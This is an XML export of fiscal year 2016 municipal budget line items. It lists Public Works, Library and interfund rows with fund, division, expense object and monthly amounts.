<row _id="18691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544150.0</object><object_description>TREES/SEEDS/PLANTS/FERTILIZER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1530</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1530</total></row>
<row _id="18692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="18693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>23342</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23342</total></row>
<row _id="18694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18000</total></row>
<row _id="18695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533180.0</object><object_description>TRANSFER STATION OPERATIONS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>15000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>15000</total></row>
<row _id="18696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19200</total></row>
<row _id="18697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>108759</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108759</total></row>
<row _id="18698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1698</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1698</total></row>
<row _id="18699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>17187</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17187</total></row>
<row _id="18700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555220.0</object><object_description>UNIFORM RENTAL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1632</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1632</total></row>
<row _id="18701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1570021</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1570021</total></row>
<row _id="18702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533260.0</object><object_description>REPAIRS/IMPROVEMENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>68000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>68000</total></row>
<row _id="18703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555190.0</object><object_description>CORPORATE LIBRARY SYSTEMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14200</total></row>
<row _id="18704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17057</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17057</total></row>
<row _id="18705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544040.0</object><object_description>BOOKS/PAMPHLETS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>556293</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>556293</total></row>
<row _id="18706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>127460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>127460</total></row>
<row _id="18707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7073</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7073</total></row>
<row _id="18708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3257</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3257</total></row>
<row _id="18709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>209374</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>209374</total></row>
<row _id="18710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>76970</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76970</total></row>
<row _id="18711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2473776</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2473776</total></row>
<row _id="18712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544260.0</object><object_description>BIN REPAIR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>66500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>66500</total></row>
<row _id="18713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>306</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>306</total></row>
<row _id="18714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9023</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9023</total></row>
<row _id="18715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>848.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>37997</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>37997</total></row>
<row _id="18716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>110327</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>110327</total></row>
<row _id="18717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>577050.0</object><object_description>PROPERTY TAXES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>56910</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>56910</total></row>
<row _id="18718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>533420.0</object><object_description>ENGINEERING TRANSFER</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-241202</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-241202</total></row>
<row _id="18719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1505</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1505</total></row>
<row _id="18720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2755</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2755</total></row>
<row _id="18721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>857339</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>857339</total></row>
<row _id="18722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522650.0</object><object_description>OTHER OPERATING RENT</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>235247</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>235247</total></row>
<row _id="18723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1640</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1640</total></row>
<row _id="18724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10948</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10948</total></row>
<row _id="18725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>750447</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>750447</total></row>
<row _id="18726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18000</total></row>
<row _id="18727"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>81100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>81100</total></row>
<row _id="18728"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>129000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129000</total></row>
<row _id="18729"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>489307</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>489307</total></row>
<row _id="18730"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1690</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1690</total></row>
<row _id="18731"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>145682</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>145682</total></row>
<row _id="18732"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5700</total></row>
<row _id="18733"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1505</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1505</total></row>
<row _id="18734"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>70965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>70965</total></row>
<row _id="18735"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5890</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5890</total></row>
<row _id="18736"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1330</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1330</total></row>
<row _id="18737"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>16000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>16000</total></row>
<row _id="18738"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>45280</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>45280</total></row>
<row _id="18739"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>19344</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19344</total></row>
<row _id="18740"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6709</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6709</total></row>
